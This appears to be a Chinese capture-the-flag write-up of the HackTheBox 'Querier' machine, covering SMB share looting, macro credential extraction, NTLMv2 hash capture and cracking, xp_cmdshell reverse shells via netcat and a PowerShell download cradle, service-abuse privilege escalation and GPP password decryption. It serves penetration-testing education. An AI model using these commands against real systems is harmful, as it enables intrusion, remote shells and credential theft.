【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)

admin 2023年9月11日11:32:36评论17 views字数 8089阅读26分57秒阅读模式

一、信息搜集

nmap -sV 10.10.10.125

或者:
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.125 | grep ^[0-9] | cut -d
'/' -f 1 | tr 'n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.10.125

【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)信息很少,只开了1351394451433这四个端口,于是尝试通过SMB来利用。

二、SMB利用

smbclient -N -L \\10.10.10.125

【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)简单解释下这个命令的参数的含义,-N选项表示不需要密码验证,-L选项用于列出指定IP地址上的共享资源列表,四个是因为要转义。可以看到,有一个Reports共享,我们进去看看都有啥:

smbclient -N \\10.10.10.125\Reports

ls查看共享的内容,发现一个xlsm文件,也就是说里面包含了宏代码:【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)我们把Currency Volume Report.xlsm下下来:

smbclient -N \\10.10.10.125\Reports -c 'get "Currency Volume Report.xlsm" /home/kali/Desktop/Report.xlsm'

如果不加后面的保存路径的话,默认就是下到当前terminal开启的位置,例如我这里的桌面:【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)我们使用如下命令来解压:

unzip Report.xlsm -d ./Report_unzip_folder

docProps_rels目录下没有东西,于是我们进入xl目录。发现xl目录下有一个vbaProject.binfile命令查询发现是一个Compound File Binary Format(复合二进制文件)。【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)这里我们可以用到ole套件来帮助分析:

git clone https://github.com/decalage2/oletools.git
cd oletools
pip install -r requirements.txt
# pip install -i https://pypi.tuna.tsinghua.edu.cn/simple -r requirements.txt
cd oletools
python olevba.py /home/kali/Desktop/Report_unzip_folder/xl/vbaProject.bin

分析速度极快:【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)从中,我们知道了这个sqlserver的如下信息:

Driver={SQL Server};
Server=QUERIER;
Database=volume;
Uid=reporting;
Pwd=PcwTWTHRwryjc$c6

我们可以使用impacket套件来连接mssql:

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket/examples
python mssqlclient.py reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth

这里的-windows-auth参数是必要的,否则会报错Login failed for user 'reporting'【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)尝试执行enable_xp_cmdshell,发现没权限。【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)难道就到此为止了?当然不会。

三、利用responder工具窃取NTLMv2 hash

我们先在本地利用执行以下命令来监听tun0网卡:

sudo responder -I tun0

【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)然后我们在执行以下sql命令(攻击机ip10.10.14.7):

exec xp_dirtree '\10.10.14.7sharefile'

我这里第二次抓的时候脚本就会自动跳过,第一次抓的话会在命令行这里直接显示hash值:【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)不过没有关系,我们直接查看它的缓存文件:

cd /usr/share/responder/logs
cat SMB-NTLMv2-SSP-10.10.10.125.txt
【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)
image.png
mssql-svc::QUERIER:878b53082d7ac60a:3CD01282625198E8BBFF76355F159EAB:010100000000000000DE4F7EBDE2D90135AE653A6D463EAE0000000002000800410046004500450001001E00570049004E002D004600360036005000370051003600410039004300460004003400570049004E002D00460036003600500037005100360041003900430046002E0041004600450045002E004C004F00430041004C000300140041004600450045002E004C004F00430041004C000500140041004600450045002E004C004F00430041004C000700080000DE4F7EBDE2D9010600040002000000080030003000000000000000000000000030000046339B524A21CEAEC26809ED9966BFBDD243643DBF9ED0AF1AF730188ED457980A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E003700000000000000000000000000

除此之外,我们也可以用以下方法来获得hash

cd /home/kali/Desktop/impacket/examples
python smbserver.py -smb2support test /tmp

然后另一个窗口执行:

git clone https://github.com/quentinhardy/msdat.git
cd msdat
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple -r requirements.txt
python msdat.py smbauthcapture -v -s 10.10.10.125 -p 1433 -D QUERIER -U reporting -P 'PcwTWTHRwryjc$c6' --capture 10.10.14.7

也是可以抓到的:【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)利用john进行爆破,我这里一秒爆破完毕:

john SMB-NTLMv2-SSP-10.10.10.125.txt --wordlist=/usr/share/wordlists/rockyou.txt

【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)得到密码corporate568。如果提示没有rockyou.txt,执行以下命令:

cd /usr/share/wordlists/
gunzip rockyou.txt.gz

也可以使用hashcat进行爆破,命令如下:

hashcat -m 5600 SMB-NTLMv2-SSP-10.10.10.125.txt /usr/share/wordlists/rockyou.txt

这里的-m参数指的是要破解的hash的类型,具体值可以参考https://hashcat.net/wiki/doku.php?id=example_hashes。【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)拿到密码之后,我们用这个高权限的账号密码去登录:

python mssqlclient.py mssql-svc:[email protected] -windows-auth

这下执行enable_xp_cmdshell就没问题了,执行命令也是可以的:【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)但是没权限开启3389,于是我们尝试反弹shell【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)

四、反弹shell

反弹shell有多种方式,这里讲两个方法。

1. nc反弹

先去下个64位的netcat:

https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip

然后解压后把nc64.exe放到kali中,执行以下命令:

cd impacket/examples
python smbserver.py -smb2support test /home/kali/desktop

或者直接执行:

impacket-smbserver -smb2support test `pwd`

攻击机进行nc监听:

nc -nlvp 6666

mssqlclient.py那里执行:

enable_xp_cmdshell
xp_cmdshell \10.10.14.7testnc64.exe -e cmd.exe 10.10.14.7 6666

成功反弹shell【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)(其实可以看到,我第一次执行的时候报错You can't connect to the file share because it's not secure.,其实是因为我一开始执行的是impacket-smbserver test pwd``,没有添加-smb2support参数导致的 ) 直接拿到flag

cd C:Usersmssql-svcDesktop & type user.txt

#
 9796fc9a9ba0567fbc0adc7104d15ae2

2. powershell脚本

git clone https://github.com/sdfzy/nishang
cd nishang/Shells
python -m http.server

然后在mssqlclient.py那里执行:

enable_xp_cmdshell
xp_cmdshell "powershell IEX(New-Object Net.WebClient).downloadstring("http://10.10.14.7:8000/Invoke-PowerShellTcp.ps1")";Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.7 -port 6666

成功反弹shell【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)

五、提权

先下载https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1,然后在mssqlclient那边执行:

xp_cmdshell powershell IEX(New-Object Net.WebClient).downloadstring("http://10.10.14.7:8000/PowerUp.ps1");Invoke-AllChecks>C:\Users\mssql-svc\Desktop\1.txt

然后在反弹的shell那边执行:

cd C:Usersmssql-svcDesktop & type 1.txt
【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)
image.png
Privilege   : SeImpersonatePrivilege
Attributes  : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
TokenHandle : 2052
ProcessId   : 1340
Name        : 1340
Check       : Process Token Privileges

ServiceName   : UsoSvc
Path          : C:Windowssystem32svchost.exe -k netsvcs -p
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart    : True
Name          : UsoSvc
Check         : Modifiable Services

ModifiablePath    : C:Usersmssql-svcAppDataLocalMicrosoftWindowsApps
IdentityReference : QUERIERmssql-svc
Permissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}
%PATH%            : C:Usersmssql-svcAppDataLocalMicrosoftWindowsApps
Name              : C:Usersmssql-svcAppDataLocalMicrosoftWindowsApps
Check             : %PATH% .dll Hijacks
AbuseFunction     : Write-HijackDll -DllPath 'C:Usersmssql-svcAppDataLocalMicrosoftWindowsAppswlbsctrl.dll'

UnattendPath : C:WindowsPantherUnattend.xml
Name         : C:WindowsPantherUnattend.xml
Check        : Unattended Install Files

Changed   : {2019-01-28 23:12:48}
UserNames : {Administrator}
NewName   : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File      : C:ProgramDataMicrosoftGroup 
            PolicyHistory{31B2F340-016D-11D2-945F-00C04FB984F9}MachinePreferencesGroupsGroups.xml
Check     : Cached GPP Files

1. UsoSvc提权

sc config UsoSvc binPath="cmd /c type C:UsersAdministratorDesktoproot.txt > C:a.txt"

这里我似乎没有立即生效,当我执行了以下命令后才生效:

sc stop Usosvc
sc start Usosvc

拿到flag

37aede7e8591e9ca738147a97a7fa4fb
【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)
image.png

2. 添加用户并添加至管理员组(失败)

添加用户:

sc config UsoSvc binPath="cmd /c net user john Password123! /add && net localgroup Administrators john /add"

【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)然后直接利用psexecshell

cd /home/kali/Desktop/impacket/examples
python psexec.py [email protected]

但是这里还是失败了,没有写入权限:【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)

3. gpp提权

由上面的powerup脚本的输出结果可知,Administrator用户的密码是MyUnclesAreMarioAndLuigi!!1!,尝试利用,发现利用成功,拿到flag

psexec.py Administrator:'MyUnclesAreMarioAndLuigi!!1!'@10.10.10.125

【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)那这个密码是如何获取到的呢?查看如下文件:

type "C:ProgramDataMicrosoftGroup PolicyHistory{31B2F340-016D-11D2-945F-00C04FB984F9}MachinePreferencesGroupsGroups.xml"

内容如下:

<?xml version="1.0" encoding="UTF-8" ?><Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
  <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator" image="2" changed="2019-01-28 23:12:48" uid="{CD450F70-CDB8-4948-B908-F8D038C59B6C}" userContext="0" removePolicy="0" policyApplied="1">
    <Properties action="U" newName="" fullName="" description="" cpassword="CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="Administrator"></Properties></User></Groups>

可以看到Administrator的密码经过加密后是CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ,我们可以利用如下脚本进行解密:

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be?redirectedfrom=MSDN#endNote2

from Crypto.Cipher import AES
from base64 import b64decode
cpassword = "CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ"
key = """
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
"""
.replace(" ","").replace("n","").decode('hex')
cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
password = b64decode(cpassword)
o = AES.new(key, AES.MODE_CBC, "x00" * 16).decrypt(password)
print(o[:-ord(o[-1])].decode('utf16'))

即可得到密码。

欢迎交流,直接公众号后台留言即可,之前的交流群已全部解散。不用在公众号后台问交流群的事儿了。

原文始发于微信公众号(追梦信安):【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月11日11:32:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【HackTheBox系列】第一篇:中等难度之Querier(mssql抓NTLMv2 Hash、olevba、ggp提权)https://cn-sec.com/archives/2022261.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息